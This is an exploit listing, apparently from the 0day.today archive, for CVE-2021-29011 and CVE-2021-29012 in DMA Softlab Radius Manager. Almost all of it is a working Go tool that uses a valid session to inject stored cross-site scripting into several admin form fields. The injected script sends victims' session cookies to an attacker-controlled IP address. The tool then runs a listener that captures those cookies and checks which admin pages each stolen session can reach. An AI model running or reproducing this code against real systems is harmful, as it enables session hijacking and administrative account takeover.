Author

bnu1s

Risk

[

Security Risk High

]

0day-ID

0day-ID-36755

Category

web applications

Date add

15-09-2021

CVE

CVE-2021-29011
CVE-2021-29012

Platform

multiple

package main
import (
  "github.com/gorilla/mux"
  "fmt"
  "net/http"
  "net/url"
  "flag"
  "strings"
  "io/ioutil"
  "log"
)

/* should be able to:
     1. Inject javascript into vulnerable fields. This will capture session cookies ofusers with higher privileges.
     2. Send the captured session cookie to a server we control
     3. Take the session cookie & query account information & privileges about the victim
     4. Display the account information, privileges, & session cookie to the end user
     5. We need to take the target domain (where dmasoft is present) and the current user's session cookie as flag arguments
     * can perform GET requests to each tab and if we don't get the "You don't have sufficient privilege to access this function" message, then we can access it and we print to the end user that this user with this session cookie can access it
  */

/*
TODO
1. Add an option that checks which areas the current user can access & injects Javascript based on that. For example, when passed the session cookie, check if the user has access to URIs that are vulnerable to XSS. If they are, inject the XSS. Otherwise, don't inject it.
  * add manager - comment
  * add access point - description
  * adding nas - description
  * Adding service plans - description
  * Adding user accounts - first name

*/

var (
  client = http.Client{}
  dmasoftURL string
)

// start web server, listen for session cookies & check the stolen cookie's access
func getUserDetails(response http.ResponseWriter, request *http.Request) {
  vars := mux.Vars(request)
  fullSessionCookie := vars["sessionID"]
  //example session cookie is: PHPSESSID=gpmltbfm2kqt3puj42476h09v2; newuser_acctype=0; listusers_ordercol=username; listusers_ordertype=ASC; login_admin=admin
  // start of session cookie is "=", end is ";"
  cookieStartIndex := strings.Index(fullSessionCookie, "=")
  cookieEndIndex := strings.Index(fullSessionCookie, ";")
  // we add +1 to the start index to avoid including the "="
  cookie := fullSessionCookie[cookieStartIndex+1:cookieEndIndex]
  fmt.Printf("[+] Captured session cookie: %s\n", fullSessionCookie)
  // checking privileges of stolen session cookie
  uriPaths := []string{"admin.php?cont=edit_settings", "admin.php?cont=list_managers", "admin.php?cont=list_users", "admin.php?cont=search_users", "admin.php?cont=new_user", "admin.php?cont=list_usergroups", "admin.php?cont=new_usergroup", "admin.php?cont=list_services", "admin.php?cont=new_service", "admin.php?cont=list_scheduled_services", "admin.php?cont=list_service_history", "admin.php?cont=list_managers", "admin.php?cont=new_manager", "admin.php?cont=list_nases", "admin.php?cont=new_nas", "admin.php?cont=list_ap", "admin.php?cont=new_ap", "admin.php?cont=list_cmts", "admin.php?cont=new_cmts", "admin.php?cont=list_pools", "admin.php?cont=new_pool", "admin.php?cont=search_invoices", "admin.php?cont=batch_billing", "admin.php?cont=list_cardseries", "admin.php?cont=list_users&listacctype=4", "admin.php?cont=list_refillcards", "admin.php?cont=search_refillcards", "admin.php?cont=cardgen", "admin.php?cont=cardstats", "admin.php?cont=list_users&listacctype=32", "admin.php?cont=list_ias", "admin.php?cont=new_ias", "admin.php?cont=list_online_radius", "admin.php?cont=list_online_cm", "admin.php?cont=traffic_report", "admin.php?cont=search_traffic_summary", "admin.php?cont=traffic_report_daily", "admin.php?cont=search_traffic_data", "admin.php?cont=search_cts_data", "admin.php?cont=search_postauth", "admin.php?cont=quick_syslog", "admin.php?cont=list_syslog", "admin.php?cont=sysinfo", "admin.php?cont=sysstats", "admin.php?cont=show_bulkmail", "admin.php?cont=show_bulksms"}
  // loop through each uri & check if stolen session cookie can access it
  for _, uri := range uriPaths {
    _, _ = checkAccess(cookie, uri)
  }

}

// check if stolen session cookie has access to certain elements
// prints whether or not stolen session cookie can access the URI
// also returns true if it can access a uri and false if it cannot
// always returns the new URL created from the URI and Dmasoftlab's target URL
func checkAccess(session string, dmasoftURI string) (bool, string) {
  // if URL provided in the flag ends with "/", then we concat the dmasoftURI to it to get our newURL
  var newURL string
  if strings.HasSuffix(dmasoftURL, "/") {
    newURL = dmasoftURL + dmasoftURI
  // otherwise, we concat "/" & dmasoftURI
  } else {
    newURL = dmasoftURL + "/" + dmasoftURI
  }
  request, _ := http.NewRequest("GET", newURL, nil)
  request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
  request.Header.Add("Accept-Encoding", "gzip, deflate")
  request.Header.Add("Accept-Language", "en-US,en;q=0.5")
  request.Header.Add("Cache-Control", "no-cache")
  request.Header.Add("Connection", "keep-alive")
  request.Header.Add("Cookie", "PHPSESSID=" + session)
  request.Header.Add("DNT", "1")
  request.Header.Add("Host", dmasoftURL)
  request.Header.Add("Pragma", "no-cache")
  request.Header.Add("Sec-GPC", "1")
  request.Header.Add("Upgrade-Insecure-Request", "1")
  request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
  response, err := client.Do(request)
  if err != nil {
    fmt.Println(err)
  }
  body, _ := ioutil.ReadAll(response.Body)
  // we don't have privileges to access this resource
  if strings.Contains(string(body), "You don't have sufficient privilege to access this function") {
    fmt.Printf("[!] %s cannot access %s!\n", session, dmasoftURI)
    return false, newURL
  } else if strings.Contains(string(body), "Superuser privileges needed!") {
    fmt.Printf("[!] %s cannot access %s\n", session, dmasoftURI)
    return false, newURL
  } else if strings.Contains(string(body), "System error") {
    fmt.Printf("[!] %s cannot access %s\n", session, dmasoftURI)
    return false, newURL
  } else if strings.Contains(string(body), "Secure login") {
    fmt.Printf("[!] %s's session is invalid! Please login to re-validate the session!\n", session)
    return false, newURL
  } else {
    fmt.Printf("[+] %s can access %s!\n", session, dmasoftURI)
    //fmt.Println(string(body))
    return true, newURL
  }
  response.Body.Close()
  return false, newURL

}

// check access of user's current session cookie & inject javascript into various places vulnerable to xss
func injectJavascript(session string, dmasoftURL string, attackerIP string) {
  // building js payload
  attackerURL := "http://" + attackerIP + ":8000/session/post/"
  js := "<script>var x1=new XMLHttpRequest();const url='" + attackerURL + "' + document.cookie;x1.open('GET',url,false);x1.send();</script>"
  // verify the areas our current session cookie has access to, then inject our js payload in the areas we can access
  // func checkAccess(session string, dmasoftURI string) bool {
  // vulnerableURIs - contains all URIs vulnerable to xss
  vulnerableURIs := []string{"admin.php?cont=store_manager", "admin.php?cont=store_ap", "admin.php?cont=store_nas", "admin.php?cont=store_usergroup"}
  for _, uri := range vulnerableURIs {
    isAccessible, targetURL := checkAccess(session, uri)
    if isAccessible == true {
      // if we can access a vulnerable URI, we inject JS into it
      if uri == "admin.php?cont=store_ap" {
        formData := url.Values{
          "enable": {"1"},
          "name": {"Broken AP"},
          "ip": {"192.168.1.212"},
          "accessmode": {"0"},
          "community": {"Comm"},
          "apiusername": {"API"},
          "apipassword": {"Username"},
          "apiver": {"0"},
          "description": {js},
          "Submit": {"Store+AP"},
          "id": {""},
        }
        request, _ := http.NewRequest("POST", targetURL, strings.NewReader(formData.Encode()))
        request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
        request.Header.Add("Accept-Encoding", "gzip, deflate")
        request.Header.Add("Accept-Language", "en-US;en;q=0.5")
        request.Header.Add("Cache-Control", "no-cache")
        request.Header.Add("Connection", "keep-alive")
        request.Header.Add("Content-Length", "175")
        request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        request.Header.Add("Cookie", "PHPSESSID=" + session)
        request.Header.Add("DNT", "1")
        request.Header.Add("Host", dmasoftURL)
        request.Header.Add("Origin", dmasoftURL)
        request.Header.Add("Pragma", "no-cache")
        request.Header.Add("Sec-GPC", "1")
        request.Header.Add("Upgrade-Insecure-Requests", "1")
        request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
        response, err := client.Do(request)
        if err != nil {
          fmt.Println(err)
        }
        body, _ := ioutil.ReadAll(response.Body)
        if strings.Contains(string(body), "New AP registered") {
          fmt.Printf("[+] Javascript successfully injected into %s!\n", targetURL)
        // this privilege check one is redundant since we already do the check in checkAccess() prior to this to ensure we have sufficient privileges
        } else if strings.Contains(string(body), "You don't have sufficient privilege to access this function") {
          fmt.Printf("[!] %s doesn't have permission to edit data in the access point section!\n", session)
        } else if strings.Contains(string(body), "Secure login") {
          fmt.Printf("[!] %s's session is invalidated. Please login again to re-validate the session!\n", session)
        } else {
          fmt.Println("[!] Problem encountered when injecting Javascript into %s!\n", targetURL)
          fmt.Println(string(body))
        }
        response.Body.Close()
      } else if uri == "admin.php?cont=store_manager" {
        formData := url.Values {
          "enablemanager": {"1"},
          "managername": {"TestingPhaseBeta"},
          "password1": {"Password123"},
          "password2": {"Password123"},
          "firstname": {""},
          "lastname": {""},
          "company": {""},
          "address": {""},
          "city": {""},
          "zip": {""},
          "country": {""},
          "state": {""},
          "phone": {""},
          "mobile": {""},
          "email": {""},
          "vatid": {""},
          "lang": {"English"},
          "comment": {js},
          "Submit": {"Add+manager"},
        }
        request, _ := http.NewRequest("POST", targetURL, strings.NewReader(formData.Encode()))
        request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
        request.Header.Add("Accept-Encoding", "gzip, deflate")
        request.Header.Add("Accept-Language", "en-US;en;q=0.5")
        request.Header.Add("Cache-Control", "no-cache")
        request.Header.Add("Connection", "keep-alive")
        request.Header.Add("Content-Length", "175")
        request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        request.Header.Add("Cookie", "PHPSESSID=" + session)
        request.Header.Add("DNT", "1")
        request.Header.Add("Host", dmasoftURL)
        request.Header.Add("Origin", dmasoftURL)
        request.Header.Add("Pragma", "no-cache")
        request.Header.Add("Sec-GPC", "1")
        request.Header.Add("Upgrade-Insecure-Requests", "1")
        request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
        response, err := client.Do(request)
        if err != nil {
          fmt.Println(err)
        }
        body, _ := ioutil.ReadAll(response.Body)
        if strings.Contains(string(body), "Manager registered") {
          fmt.Printf("[+] Javascript successfully injected into %s!\n", targetURL)
        } else if strings.Contains(string(body), "You don't have sufficient privilege to access this function") {
          fmt.Printf("[!] %s doesn't have permission to edit data in the access point section!\n", session)
        } else if strings.Contains(string(body), "Secure login") {
          fmt.Printf("[!] %s's session is invalidated. Please login again to re-validate the session!\n", session)
        } else {
          fmt.Println("[!] Problem encountered when injecting Javascript into %s!\n", targetURL)
          fmt.Println(string(body))
        }
        response.Body.Close()

      } else if uri == "admin.php?cont=store_nas" {
        formData := url.Values {
          "name": {"NasTestSite192"},
          "nasip": {"192.168.1.110"},
          "type": {"0"},
          "secret": {"Password123"},
          "coamode": {"0"},
          "apiusername": {""},
          "apipassword": {""},
          "apiver": {"0"},
          "descr": {js},
          "Submit": {"Add+NAS"},
        }
        request, _ := http.NewRequest("POST", targetURL, strings.NewReader(formData.Encode()))
        request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
        request.Header.Add("Accept-Encoding", "gzip, deflate")
        request.Header.Add("Accept-Language", "en-US;en;q=0.5")
        request.Header.Add("Cache-Control", "no-cache")
        request.Header.Add("Connection", "keep-alive")
        request.Header.Add("Content-Length", "175")
        request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        request.Header.Add("Cookie", "PHPSESSID=" + session)
        request.Header.Add("DNT", "1")
        request.Header.Add("Host", dmasoftURL)
        request.Header.Add("Origin", dmasoftURL)
        request.Header.Add("Pragma", "no-cache")
        request.Header.Add("Sec-GPC", "1")
        request.Header.Add("Upgrade-Insecure-Requests", "1")
        request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
        response, err := client.Do(request)
        if err != nil {
          fmt.Println(err)
        }
        body, _ := ioutil.ReadAll(response.Body)
        if strings.Contains(string(body), "System error") {
          fmt.Printf("[!] Problem encountered when injecting Javascript into %s!\n", targetURL)
        } else {
          fmt.Printf("[+] Javascript successfully injected into %s!\n", targetURL)
        }
        response.Body.Close()
      } else if uri == "admin.php?cont=store_usergroup" {
        formData := url.Values {
          "name": {"CustomAttributeNull"},
          "descr": {js},
          "Submit": {"Create+group"},
        }
        request, _ := http.NewRequest("POST", targetURL, strings.NewReader(formData.Encode()))
        request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
        request.Header.Add("Accept-Encoding", "gzip, deflate")
        request.Header.Add("Accept-Language", "en-US;en;q=0.5")
        request.Header.Add("Cache-Control", "no-cache")
        request.Header.Add("Connection", "keep-alive")
        request.Header.Add("Content-Length", "175")
        request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        request.Header.Add("Cookie", "PHPSESSID=" + session)
        request.Header.Add("DNT", "1")
        request.Header.Add("Host", dmasoftURL)
        request.Header.Add("Origin", dmasoftURL)
        request.Header.Add("Pragma", "no-cache")
        request.Header.Add("Sec-GPC", "1")
        request.Header.Add("Upgrade-Insecure-Requests", "1")
        request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
        response, err := client.Do(request)
        if err != nil {
          fmt.Println(err)
        }
        body, _ := ioutil.ReadAll(response.Body)
        if strings.Contains(string(body), "User group registered") {
          fmt.Printf("[+] Javascript successfully injected into %s!\n", targetURL)
        } else if strings.Contains(string(body), "You don't have sufficient privilege to access this function") {
          fmt.Printf("[!] %s doesn't have permission to edit data in the access point section!\n", session)
        } else if strings.Contains(string(body), "Secure login") {
          fmt.Printf("[!] %s's session is invalidated. Please login again to re-validate the session!\n", session)
        } else {
          fmt.Println("[!] Problem encountered when injecting Javascript into %s!\n", targetURL)
          fmt.Println(string(body))
        }
        response.Body.Close()
      }
    }
  }
}

func main() {
  // injecting javascript
  var session, attackerIP string
  flag.StringVar(&session, "s", "", "Your current session cookie - used to inject Javascript into vulnerable areas")
  flag.StringVar(&dmasoftURL, "u", "", "Dmasoftlabs URL - Your target")
  flag.StringVar(&attackerIP, "ip", "", "Your local IP address - required to build URL where you will receive session cookies (EX:192.168.1.10)")
  flag.Parse()
  // if user provides no session cookie or URL, we exit
  if len(dmasoftURL) == 0 || len(session) == 0 || len(attackerIP) == 0 {
    fmt.Println("[!] You must provide a valid session cookie, target URL, & local IP address!")
    return
  }
  injectJavascript(session, dmasoftURL, attackerIP)
  router := mux.NewRouter()
  router.HandleFunc("/session/post/{sessionID}", getUserDetails)
  fmt.Println("[+] Starting web server and listening for session cookies...")
  log.Fatal(http.ListenAndServe(":8000", router))
}

#  0day.today [2024-11-15]  #